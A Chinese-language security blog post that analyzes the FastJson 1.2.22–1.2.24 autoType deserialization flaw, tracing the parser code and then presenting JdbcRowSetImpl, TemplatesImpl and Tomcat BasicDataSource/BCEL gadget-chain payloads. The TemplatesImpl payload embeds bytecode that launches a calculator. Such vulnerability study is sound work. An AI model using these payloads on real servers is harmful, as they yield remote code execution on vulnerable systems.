FastJson 1.2.22 – 1.2.24

/ 0评 / 0

FastJson 1.2.22 - 1.2.24

经典的漏洞原理肯定要学习一下啦

FastJson这东西是阿里巴巴开发用来处理json字符串的,而且用的很广泛

一般大家这么用,也有可能只有我写这么垃圾的写法(x

image-20220127165501513

为啥要把1.2.22 - 1.2.24版本放在一块写呢? 因为在这之前没有反序列化黑名单之后 fastjson官方把这几个漏洞的AutoType关闭了。这几个版本默认还是开启的

前置知识

为什么开头会说到AutoType对于漏洞触发的条件很重要呢,这个@type是个啥?

autotype 粗略来说就是用于设置能否将 JSON 反序列化成对象。

然后我们来讲讲漏洞成因

因为要反序列化成对象,所以给其属性赋值的时候,在私有属性等情况下,就需要访问他们的 getter 和 setter。

而如果这些 getter 和 setter 中存在危险操作,就会导致漏洞。

然后我们写一些demo具体分析一下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("Ha1c9on");
        student.setAge(18);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);

        Student o1 = (Student) JSON.parse(jsonstring);
        System.out.println("o1:"+o1);
        System.out.println(o1.getClass().getName());

        JSONObject o2 = JSON.parseObject(jsonstring);
        System.out.println("o2:"+o2);
        System.out.println(o2.getClass().getName());

        Object o3 = JSON.parseObject(jsonstring, Object.class);
        System.out.println("o3:"+o3);
        System.out.println(o3.getClass().getName());
    }
}

这里假设我们有这么一个方法来处理Json

在字符串转对象的过程中(反序列化),主要使用JSON.parse()JSON.parseObject()两个方法,两者区别在于parse()会返回实际类型(User)的对象,而parseObject()在不指定class时返回的是JSONObject,指定class才会返回实际类型(User)的对象,也就是JSON.parseObject(s2)JSON.parseObject(s2, Object.class)的区别,这里也可以指定为Student.class 运行起来是这样的

fastjson通过JSON.toJSONString()将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@type字段中,在重新转回对象时会根据@type来指定类,进而调用该类的setget方法。因为这个特性,我们可以指定@type为任意存在问题的类,造成一些问题。

image-20220127171951896

那么和漏洞触发有什么关系呢?

假设我们现在有一个恶意的set方法放着我们的命令呢?

image-20220127173150006

image-20220127173210357

通过这样的写法,成功触发了计算器 那么什么流程呢?

反序列化流程

从上面的分析知道,这里是调用了settype的方法才触发的反序列化,

我们换个写法

String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ha1c9on\",\"Type\":\"www\"}";
System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));

两种方法弹了两个计算器,让我们分析一下有什么区别

根据源码显示:JSON是一个抽象类,JSON中有一个静态方法parseObject(String text),将text解析为一个JSONObject对象并返回;
JSONObject是一个继承自JSON的类,当调用JSONObject.parseObject(result)时,会直接调用父类的parseObject(String text)
所以两者没什么区别,一个是用父类去调用父类自己的静态的parseObject(String text),一个是用子类去调用父类的静态`parseObject(String text),两者调的是同一个方法。

让我们开始分析

image-20220127174740260

image-20220127174758435

进入parse方法,显然我们这里的text不是null

所以会 new DefaultJSONParser

image-20220127175246326

这里会判断第一个字符的类型,我们这里传入的是{ 也就是token成了12

然后再来看看下一个parser.parse();

会进到这么一个神奇的函数

public Object parse(Object fieldName) {
  JSONLexer lexer = this.lexer;
  switch(lexer.token()) {
    case 1:
    case 5:
    case 10:
    case 11:
    case 13:
    case 15:
    case 16:
    case 17:
    case 18:
    case 19:
    default:
      throw new JSONException("syntax error, " + lexer.info());
    case 2:
      Number intValue = lexer.integerValue();
      lexer.nextToken();
      return intValue;
    case 3:
      Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
      lexer.nextToken();
      return value;
    case 4:
      String stringLiteral = lexer.stringVal();
      lexer.nextToken(16);
      if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
        JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);

        try {
          if (iso8601Lexer.scanISO8601DateIfMatch()) {
            Date var11 = iso8601Lexer.getCalendar().getTime();
            return var11;
          }
        } finally {
          iso8601Lexer.close();
        }
      }

      return stringLiteral;
    case 6:
      lexer.nextToken();
      return Boolean.TRUE;
    case 7:
      lexer.nextToken();
      return Boolean.FALSE;
    case 8:
      lexer.nextToken();
      return null;
    case 9:
      lexer.nextToken(18);
      if (lexer.token() != 18) {
        throw new JSONException("syntax error");
      }

      lexer.nextToken(10);
      this.accept(10);
      long time = lexer.integerValue().longValue();
      this.accept(2);
      this.accept(11);
      return new Date(time);
    case 12:
      JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
      return this.parseObject((Map)object, fieldName);
    case 14:
      JSONArray array = new JSONArray();
      this.parseArray((Collection)array, (Object)fieldName);
      if (lexer.isEnabled(Feature.UseObjectArray)) {
        return array.toArray();
      }

      return array;
    case 20:
      if (lexer.isBlankInput()) {
        return null;
      }

      throw new JSONException("unterminated json string, " + lexer.info());
    case 21:
      lexer.nextToken();
      HashSet<Object> set = new HashSet();
      this.parseArray((Collection)set, (Object)fieldName);
      return set;
    case 22:
      lexer.nextToken();
      TreeSet<Object> treeSet = new TreeSet();
      this.parseArray((Collection)treeSet, (Object)fieldName);
      return treeSet;
    case 23:
      lexer.nextToken();
      return null;
  }
}

这里因为之前的token为12 进入

JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

跟一下parseObject 会进到这个if里面

image-20220127175958565

在这里将key赋值给了type通过scanSymbol获取到@type指定类

image-20220127180442433

然后通过 TypeUtils.loadClass 方法加载Class 这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

image-20220127232104903

接着创建了ObjectDeserializer类并调用deserialze方法

image-20220127232155532

image-20220127180558433

这里黑名单只有java.lang.Thread

image-20220127181713992

那从哪里调用的各·getset呢?

查找完成黑名单后,经过一系列的判断,最终会调用createJavaBeanDeserializer方法

image-20220127230629997

而在这个函数中 有调用

image-20220127230722531

com.alibaba.fastjson.util.JavaBeanInfo#build

image-20220127183023836

在通过@type拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法。

总结set方法自动调用的条件为:

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

当满足条件之后会从方法名截取属性名,截取时会判断_,如果是set_name会截取为name属性

当截取完但是找不到这个属性

image-20220127183118411

会判断传入的第一个参数类型是否为布尔型,是的话就在截取完的变量前加上is,截取propertyName的第一个字符转大写和第二个字符,并且然后重新尝试获取属性字段。

Get和Set差不多

他的判断是这些

 if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) 
  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

总结一下

  1. parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
  2. parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
  3. parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

利用

根据上面的分析,我们知道fastjson在处理过程中会调用类中相应满足条件的Set/Get方法。而@type的值是可控的,这就可以寻找能够触发需要功能的类去触发恶意代码,从而达到任意代码执行的目的

所以根据这个要求,衍生出来了两种攻击方式

JdbcRowSetImpl

看名字就知道了,加载rmi和ldap

通过阅读com.sun.rowset.JdbcRowSetImpl的源码就知道了,这玩意通过getDataSourceName来获取地址连接

image-20220127232739508

而这个get 正好满足上面FastJson所需要的Get方法

所以payload如下

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

这个"autoCommit":true是啥呢

image-20220127233806062

继续阅读com.sun.rowset.JdbcRowSetImpl的源码可以发现,我们需要让this .conn 不为Null才会调用connect函数

所以整体流程就十分清晰了

TemplatesImpl

需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField 这个我们一会儿再说

这东西相信学过CC链的同学都不陌生了,我们在来看一下他的调用栈

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

所以显而易见,调用点在getOutputProperties

根据之前构造字节码的方法,很容易发现其需要几个参数

setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

所以他的payload 应该长 这样

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"xxxx","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

前几个参数都很好解释,必要参数嘛

我们来看看_tfactory = {} _outputProperties = {}是为什么

JavaBeanDeserializer中 如果传入的object为空 可以发现其自动帮我们根据类属性定义的类型自动创建实例了

所以这两个都是为了new一个新的实例出来帮助我们完成反序列化

image-20220128001730009

至于后面的"_version":"1.0","allowedProtocols":"all" 我尝试去掉,也可以触发,跟了一下利用过程,没什么作用

那么我们下面来说说为什么要加一个Feature.SupportNonPublicField才能触发

在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

Tomcat#BasicDataSource

这条链子适用于在有Tomcat的环境下使用

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

使用BasicDataSource类设定Tomcat的数据库驱动为BCEL的ClassLoader 传入对应值即可

利用链如下

BasicDataSource.getConnection() > createDataSource()​ > createConnectionFactory()

经过一连串的调用链,在 BasicDataSource.createConnectionFactory() 中会调用 Class.forName(),还可以自定义ClassLoader

然后我们来讲讲这个poc神奇的地方,大家应该注意到了,前面的payload只有一层{} 这里有好几层,让我们来看看为什么会这么写呢?

分析过程中发现我们需要触发 BasicDataSource.getConnection() 方法。

而这个getConnection()对于FastJson遍历Get方法的要求

1. 方法名长度大于等于4
2. 非静态方法
3. 以get开头且第4个字母为大写
4. 无传入参数
5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

他并不满足

其巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。

首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。

然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

于是乎就触发了 BasicDataSource.getConnection()。PoC最完整的写法应该是:

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject() ,那就不用这么麻烦了。与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法。

所以对于 JSON.parseObject(),直接传入这样的Payload也能触发:

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

哦对了

BasicDataSource类在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource 而Tomcat8.0后(包括8.0)这个玩意改名了 成了org.apache.tomcat.dbcp.dbcp2.BasicDataSource

参考

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://y4er.com/post/fastjson-learn/

https://paper.seebug.org/1192/

https://paper.seebug.org/1155/

下次让我们看看后续版本都是怎么样修复 或者 被bypass的

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注